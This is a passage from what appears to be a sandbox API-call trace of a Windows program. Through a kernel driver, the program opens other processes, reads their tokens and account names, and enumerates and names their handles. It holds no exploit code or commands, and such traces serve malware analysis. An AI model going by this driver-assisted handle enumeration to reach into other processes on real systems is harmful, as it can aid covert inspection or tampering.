hHeap=0x270000) returned 1 [0114.540] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xb4c) returned 0xc0 [0114.540] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.540] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa800212cb30, HandleInformation=0x0) returned 0x0 [0114.540] ObOpenObjectByPointer (in: Object=0xfffffa800212cb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000730) returned 0x0 [0114.540] ObfDereferenceObject (Object=0xfffffa800212cb30) returned 0x83 [0114.540] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000730, DesiredAccess=0x8, TokenHandle=0xfffffa8002836100 | out: TokenHandle=0xfffffa8002836100*=0xc8) returned 0x0 [0114.540] ZwClose (Handle=0xffffffff80000730) returned 0x0 [0114.540] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.540] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.540] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.541] CloseHandle (hObject=0xc8) returned 1 [0114.541] CloseHandle (hObject=0xc0) returned 1 [0114.541] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.541] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0114.541] PsLookupProcessByProcessId (in: ProcessId=0xb4c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.541] PsAcquireProcessExitSynchronization () returned 0x0 [0114.542] KeStackAttachProcess (in: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880055905d0) [0114.542] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001f49750, HandleInformation=0x0) returned 0x0 [0114.542] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.542] PsReleaseProcessExitSynchronization () returned 0x2 [0114.542] ObfDereferenceObject (Object=0xfffffa800212cb30) returned 0x81 [0114.542] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800207b7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800207b7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0114.542] ObfDereferenceObject (Object=0xfffffa8001f49750) returned 0x1 [0114.542] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.542] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.542] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.542] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0114.542] PsLookupProcessByProcessId (in: ProcessId=0xb4c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.542] PsAcquireProcessExitSynchronization () returned 0x0 [0114.542] KeStackAttachProcess (in: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880055905d0) [0114.542] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001f45200, HandleInformation=0x0) returned 0x0 [0114.542] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.542] PsReleaseProcessExitSynchronization () returned 0x2 [0114.542] ObfDereferenceObject (Object=0xfffffa800212cb30) returned 0x81 [0114.542] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800250d7c4, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800250d7c4, ReturnLength=0xfffff88005590508) returned 0x0 [0114.542] ObfDereferenceObject (Object=0xfffffa8001f45200) returned 0x1 [0114.542] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.542] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.542] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.542] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0114.542] PsLookupProcessByProcessId (in: ProcessId=0xb4c, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.543] PsAcquireProcessExitSynchronization () returned 0x0 [0114.543] KeStackAttachProcess (in: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa800212cb30, ApcState=0xfffff880055905d0) [0114.543] ObReferenceObjectByHandle (in: Handle=0x198, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80024c0450, HandleInformation=0x0) returned 0x0 [0114.543] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.543] PsReleaseProcessExitSynchronization () returned 0x2 [0114.543] ObfDereferenceObject (Object=0xfffffa800212cb30) returned 0x81 [0114.543] ObQueryNameString (in: Object=0xfffffa80024c0450, ObjectNameInfo=0xfffffa8001fa37c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fa37c4, ReturnLength=0xfffff88005590550) returned 0x0 [0114.543] ObfDereferenceObject (Object=0xfffffa80024c0450) returned 0x1 [0114.543] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.543] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.543] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x858) returned 0xc0 [0114.543] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0114.543] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005590668, HandleInformation=0x0 | out: Object=0xfffff88005590668*=0xfffffa80023095e0, HandleInformation=0x0) returned 0x0 [0114.543] ObOpenObjectByPointer (in: Object=0xfffffa80023095e0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005590670 | out: Handle=0xfffff88005590670*=0xffffffff80000730) returned 0x0 [0114.543] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x20 [0114.543] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000730, DesiredAccess=0x8, TokenHandle=0xfffffa8002836100 | out: TokenHandle=0xfffffa8002836100*=0xc8) returned 0x0 [0114.543] ZwClose (Handle=0xffffffff80000730) returned 0x0 [0114.543] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.543] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0114.543] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0114.545] CloseHandle (hObject=0xc8) returned 1 [0114.545] CloseHandle (hObject=0xc0) returned 1 [0114.545] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.545] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0114.545] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.545] PsAcquireProcessExitSynchronization () returned 0x0 [0114.545] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880055905d0) [0114.545] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8001f46a70, HandleInformation=0x0) returned 0x0 [0114.545] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.545] PsReleaseProcessExitSynchronization () returned 0x2 [0114.545] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0114.545] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.545] ObfDereferenceObject (Object=0xfffffa8001f46a70) returned 0x1 [0114.545] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.545] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.545] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.545] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0114.545] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.545] PsAcquireProcessExitSynchronization () returned 0x0 [0114.545] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880055905d0) [0114.545] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8002f81a20, HandleInformation=0x0) returned 0x0 [0114.545] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.545] PsReleaseProcessExitSynchronization () returned 0x2 [0114.546] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0114.546] ObQueryNameString (in: Object=0xfffffa8002f81a20, ObjectNameInfo=0xfffffa8001faa044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001faa044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.546] ObfDereferenceObject (Object=0xfffffa8002f81a20) returned 0x1 [0114.546] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.546] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.546] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.546] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.546] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.546] PsAcquireProcessExitSynchronization () returned 0x0 [0114.546] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880055905d0) [0114.546] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0114.546] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.546] PsReleaseProcessExitSynchronization () returned 0x2 [0114.546] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0114.546] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80020d1044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020d1044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.546] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4a [0114.546] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.546] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.546] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.546] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0114.546] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.546] PsAcquireProcessExitSynchronization () returned 0x0 [0114.546] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880055905d0) [0114.546] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80034ac070, HandleInformation=0x0) returned 0x0 [0114.546] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.546] PsReleaseProcessExitSynchronization () returned 0x2 [0114.546] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0114.546] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020ba044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020ba044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.546] ObfDereferenceObject (Object=0xfffffa80034ac070) returned 0x1 [0114.546] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.547] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.547] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.547] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0114.547] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.547] PsAcquireProcessExitSynchronization () returned 0x0 [0114.547] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880055905d0) [0114.547] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a001e73f00, HandleInformation=0x0) returned 0x0 [0114.547] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.547] PsReleaseProcessExitSynchronization () returned 0x2 [0114.547] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0114.547] ObQueryNameString (in: Object=0xfffff8a001e73f00, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.547] ObfDereferenceObject (Object=0xfffff8a001e73f00) returned 0x1 [0114.547] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.547] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.547] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.547] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0114.547] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.547] PsAcquireProcessExitSynchronization () returned 0x0 [0114.547] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880055905d0) [0114.547] ObReferenceObjectByHandle (in: Handle=0xac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80026e2c40, HandleInformation=0x0) returned 0x0 [0114.547] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.547] PsReleaseProcessExitSynchronization () returned 0x2 [0114.547] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0114.547] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020c6044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020c6044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.547] ObfDereferenceObject (Object=0xfffffa80026e2c40) returned 0x1 [0114.547] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.547] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.547] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.547] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0114.548] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.548] PsAcquireProcessExitSynchronization () returned 0x0 [0114.548] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880055905d0) [0114.548] ObReferenceObjectByHandle (in: Handle=0xc8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003518f20, HandleInformation=0x0) returned 0x0 [0114.548] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.548] PsReleaseProcessExitSynchronization () returned 0x2 [0114.548] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0114.548] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590508) returned 0x0 [0114.548] ObfDereferenceObject (Object=0xfffffa8003518f20) returned 0x1 [0114.548] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.548] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.548] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.548] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0114.548] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.548] PsAcquireProcessExitSynchronization () returned 0x0 [0114.548] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880055905d0) [0114.548] ObReferenceObjectByHandle (in: Handle=0xd4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0114.548] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.548] PsReleaseProcessExitSynchronization () returned 0x2 [0114.548] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0114.548] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80020df044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020df044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.548] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0114.548] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.548] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.548] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.548] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x82, lpOverlapped=0x0) returned 1 [0114.548] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.548] PsAcquireProcessExitSynchronization () returned 0x0 [0114.548] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880055905d0) [0114.548] ObReferenceObjectByHandle (in: Handle=0xd8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003544310, HandleInformation=0x0) returned 0x0 [0114.548] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.548] PsReleaseProcessExitSynchronization () returned 0x2 [0114.549] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0114.549] ObQueryNameString (in: Object=0xfffffa8003544310, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590550) returned 0x0 [0114.549] ObfDereferenceObject (Object=0xfffffa8003544310) returned 0x1 [0114.549] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0114.549] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0114.549] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0114.549] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0114.549] PsLookupProcessByProcessId (in: ProcessId=0x858, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0114.549] PsAcquireProcessExitSynchronization () returned 0x0 [0114.549] KeStackAttachProcess (in: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa80023095e0, ApcState=0xfffff880055905d0) [0114.549] ObReferenceObjectByHandle (in: Handle=0xe4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0114.549] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0114.549] PsReleaseProcessExitSynchronization () returned 0x2 [0114.549] ObfDereferenceObject (Object=0xfffffa80023095e0) returned 0x1e [0114.549] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590550 | out: 